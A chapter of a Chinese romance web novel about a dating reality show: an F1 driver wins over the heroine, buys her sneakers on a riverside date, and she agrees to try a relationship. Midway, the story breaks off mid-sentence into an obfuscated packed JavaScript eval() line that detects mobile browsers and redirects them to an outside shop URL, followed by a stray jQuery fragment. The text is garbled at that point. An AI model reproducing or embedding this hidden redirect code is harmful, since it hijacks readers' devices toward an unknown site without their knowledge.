此言一出,全场哗然。
这压根就不是什么匿名提问,而是妥妥的秀恩爱。
所有人的视线定格在骆遥星身上,众人争相恭喜他跻身寥寥无几的华人F1赛车手之列,往后能为国争光,欢呼与掌声簇拥交织,现场变得格外混乱。
弹幕区快速闪过——“沾喜气!求上岸!”
“我们也算是见证历史了,骆遥星你真的太会了!再度贡献名场面!”
“难道刚刚就我看见骆遥星只写了一个问题嘛,别人是提问,他是当官宣呐!”
众目睽睽之下,全场几乎所有女嘉宾对着虞柚夏露出羡慕的神色,男嘉宾也都在自愧不如,段位太高,着实无人匹敌。
只在青训营一年时间,就顺利成为F1车手,实力与运气都太好了。
有嘉宾已经提前在向骆遥星索要签名了,幸好签约发生在节目录制期间,要不然他们也不可能会在这档节目遇见他了,毕竟今后他的身价不可限量。
即便如此,他照旧目标明确,摒除一切纷杂,视线直直地落在虞柚夏身上。
语气沉稳中带着笃定:“你愿意来看我的比赛吗?”
“恭喜你。”虞柚夏轻笑着,想起昨天他神色匆匆地从外头回来,大概就是在聊合约的事吧,明明今天的约会他大可以单独问她,偏要搞这出引人注目。
下一刻,她神色坚决地颔首,“我会来看你的比赛。”
不知是谁率先起了头,绵长又戏谑的“哦——”声此起彼伏炸开,转瞬席卷全场。
搞得跟拍偶像剧似的,虞柚夏在起哄声里小鹿乱撞,红了耳根。
这之后的问题环节再没掀起火花,压轴被提问的是骆遥星。
“相处至今,你对心仪对象有过一刻的动摇吗?”
这是虞柚夏问的,先前因为没有收到他心动值提升的短信,而一度患得患失,但此刻的提问倒显得没有必要了。
毕竟骆遥星都在约定三个月以后的事了。
果然听见他不假思索的答案:“没有。”
箫思溪低下头,压根无法集中精力,她一直在等女编导念出自己的问题。
终于来了——“如果女朋友和赛车必须二选一,你会怎么选?”
这下,骆遥星沉默了。
箫思溪很清楚,自己已经不具备任何竞争力了,但却希望借此挑拨虞柚夏和骆遥星之间的关系,没有女生能接受对象把事业排在自己前面吧。
骆遥星的眼前是大展宏图的广阔未来,赛车对他意味着什么不言而喻,在他才刚20岁的人生阶段里,恋爱不可能排在优先级。
箫思溪预料得没错,他压根无法回答这个问题。
如果是在这档节目之前,他会不假思索地选择赛车,但他遇到了虞柚夏,不能轻易开口了。
缄默的时间太久,作为他第一黑粉的宁荔,很快不留情面地拆台:“答案是赛车吧,只是当着某人的面不能直说罢了。”
但虞柚夏倒并不介怀。
两人甚至都没有正式确定关系,倘若她在他心中的分量已然超越了赛车梦想,反倒不合常理。
她无所谓地耸耸肩,替骆遥星圆场:“这个提问太刁钻了。”
至此真心话环节算是告一段落,晚餐正式开始了,气氛瞬间变得融洽温馨起来。
·
翌日迎来了虞柚夏心动值突破60分后触发的奖励约会,作为发起方,当日主题由她亲自敲定。
鉴于与骆遥星的前三次约会都比较刺激,这次她特意选择了安静些的citywalk主题。
跟骆遥星约好下午1点出门,一大早就没在小屋里见到他,虞柚夏正感到奇怪,准点出门时,发现门口停着一辆拉风的限量款兰博基尼跑车。
戴着墨镜的骆遥星舒展地靠在驾驶座,一只手慵懒地搭在方向盘上,经过的路人都纷纷侧目看他。
看见虞柚夏出来,他绅士般地下了车,替她拉开副驾驶座的车门,邀请她入座。
她不习惯高调,一时觉得不自在,“哪来的车?”
之前小屋门口可没停过这辆招人眼球的千万级别豪车,这时听见骆遥星讪讪地答:“……问我哥借来的。”
看到这一幕的网友们,纷纷打起了哥哥的主意:“是亲哥吗,怒求联系方式!!!”
骆遥星觉得丢脸,主要他平时很少待在国内,豪车都留在英国的车库里了。
要不是在S城拍综艺,没时间去置办买车的事,他也不乐意拉下脸面去找他哥借车。
坐进敞篷跑车内,虞柚夏莫名觉得压力山大,小康家庭长大的她平时很少接触这类奢靡的东西。
不过她没多想,只以为是骆遥星的哥哥特别能赚钱,好奇地问:“你哥是做什么的?”
“总裁。”
弹幕区飘过一串:“你看我长得像你未来大嫂吗!”
虞柚夏“哦”了一声,觉得他的回答印证了自己的猜测,她没往家族企业的方向联想,只觉得是能力很强的创一代。
“你哥是正好在S城工作?”
“算是吧,我们家情况有点复杂,我哥随爷爷在国内长大,我随爸妈和奶奶在英国长大,所以跟他不是很熟。”
当着镜头的面,骆遥星说得比较笼统,其实是国内有家族集团,国外的奶奶则隶属于英国某老钱世家。
很多情况等恋爱了以后再解释也不迟,骆遥星不想一下子吓到她。
乘坐着瞩目的敞篷跑车,一路回头率拉满。好在当日气温适宜,和煦阳光洒落肩头,暖意融融十分舒心。骆遥星似是特意体恤她,刻意放缓了车速。
难得有这样的体验,虞柚夏伸出手,感受风穿过指尖,像是摸到了自由的形状。
车辆驶入市中心滨江地带,河道两岸的文艺商铺鳞次栉比,还有人拿着吉他弹唱,音乐声与江水流动声交织在一起,充盈着热闹鲜活的氛围。
骆遥星停了车,两人沿着河岸边闲逛起来,原本他对逛街是毫无兴趣的,但只要能与虞柚夏待在一起,乏善可陈的无聊小事都瞬间变得有意义,这对于他来说也是种新奇的体验。
虞柚夏的备忘录里记录着几家售卖珍藏本的书店,其中一家正坐落于此,不多时便找到了目的地。
她是做好功课来的,一进店就对书店老板直奔主题:“你这儿有卖三联书店的《钱锺书集》典藏本吗?”
对方一听她就是个识货的,一脸骄傲地炫耀起来:“你算是问对人了,这书限量就只有4000套,每套都有唯一的收藏编号,已经绝版不再加印,我这儿有全套。”
虞柚夏让老板将珍藏本拿出来验了货,确认没问题后,让对方打包装在礼盒里。
骆遥星才听出来她是打算送人,好奇地询问着:“你要送给谁?”
她没打算隐瞒:“送给靳墨的,他当初在瑞士送了我贵重的礼物,我说过要还礼的,钱钟书正是他喜欢的作者。”
“……”骆遥星的脸色立马沉了下去,跟自己约着会,居然给别的男人买礼物,当他是陪逛的工具人吗?
虞柚夏在故意逗他,见他这副模样,暗自好笑,慢悠悠地补充后半段话:“毕竟我刚拒绝了跟他的单独约会,我可不喜欢欠人情。”
骆遥星捕捉到关键信息,下一刻转忧为喜。
她与靳墨划清了界限,是不是意味着她打算全然接受自己了?
全套十册书被装进精致的礼袋里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837053|211479||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沉甸甸的,骆遥星全程主动拎包。
从画廊到咖啡馆再到手作工坊,他们不紧不慢地在一间间店铺里穿梭。
不用刻意说话,便有水到渠成的默契。
路过橱窗摆放着老诗集的书店,她目光稍稍流连,他就会偏头示意进去逛逛;瞥见有意思的乐高赛车模型,他脚步微顿,她便自然而然地停下等候。
虞柚夏今日一身雅致长裙搭配细高跟,一路逛了太久,逐渐感到脚后跟被磨破的刺痛,每走一步都发疼。
她步履拖沓,很快被细心的骆遥星注意到,他几乎是立刻蹲下身检查。
温柔托住她纤细的脚踝,注意到她脚后跟磨出的红痕,在白皙皮肤上格外刺眼,他蹙起眉。
微风掠过滨江街道,周遭喧嚣仿佛被隔绝,他低头查看伤口的专注模样格外戳人,虞柚夏一时有些慌乱。
“以后不必勉强自己穿高跟鞋受罪,跟我在一起,舒服最重要。”
骆遥星说着站起身来,打量四周,很快目光锁定在一家卖户外运动鞋的店铺。
“你鞋码多少?”
“37。”虞柚夏已经猜到他要做什么了,第一时间推脱着,“不用了,回去换掉就行……”
骆遥星不由分说地打断:“等我一下。”
十分钟后他回来了,虞柚夏已经在附近找了个长凳坐下,他利落地拆开鞋盒,是一双精致的奶白色运动鞋,虞柚夏刚打算说自己穿就好,他却没给她半分推辞的余地。
他单膝跪在街边,将她的小腿轻搭在自己膝头,动作轻柔得近乎珍重。
高跟鞋系带被解开,莫名让人联想到另外一些脸红心跳的画面。
他宽大的手掌小心翼翼地护着她受伤的脚后跟,再将她的脚套入柔软的运动鞋里。
街上人来人往,不时有人在盯他们,他却全程一丝不苟地系好鞋带,末了抬手轻轻托了下鞋底,确认鞋子合脚稳妥,才抬眼看向她。
“店员说这个款式女孩子买得比较多。”
“嗯很好看,谢谢。”
羞涩与浓烈的心动在虞柚夏的脸上留下绯红的痕迹,缺乏感情经验的她,还是第一次被人这么明目张胆地放在心上,澎湃的心潮久久无法平复。
弹幕区全是被甜哭的网友:“这段我要反复观看,作为我晚上的做梦素材。”
“甜到要得糖尿病了,般配两个字我已经说腻了。”
“谁还记得前几集的骆遥星,当初有多拽,如今反差就有多大哈哈哈。”
“本人可能有点迷信,但送礼物不能送鞋,寓意不好的!”
当然最后一条弹幕很快被海量的磕糖评论给淹没。
暮色降临,落日沉入江面,余晖碎在粼粼水波上,透着橘红色的光芒。
岸边灯火渐次亮起,虞柚夏与骆遥星并肩来到江边,倚靠着栏杆谈心。
上次在瑞士的葡萄酒庄,虞柚夏答应他会认真考虑,这之后一直没有机会正式表态。
她清了下喉咙,将心事娓娓道来。
“与你接触的时间越久,我越发现最初那些先入为主的想法,不过是狭隘的偏见。你虽然看上去张扬桀骜,但骨子里却比任何人更清醒笃定。
“我钦慕你为了梦想能够奋不顾身,也被你从始至终纯粹执着的心意深深打动。之前我说要考虑,如今我已有了答案——我愿意卸下顾虑,向你敞开心扉,试着和你发展看看。”
骆遥星的瞳孔微微一震,压不住眼底翻涌的雀跃。
参与恋综只是一场无心之举,命运却让他跨越节目与国别,邂逅足以托付余生的挚爱。
夜幕徐徐落下,江风温柔拂面,再没有多余的交谈,却已然知晓彼此心意相通。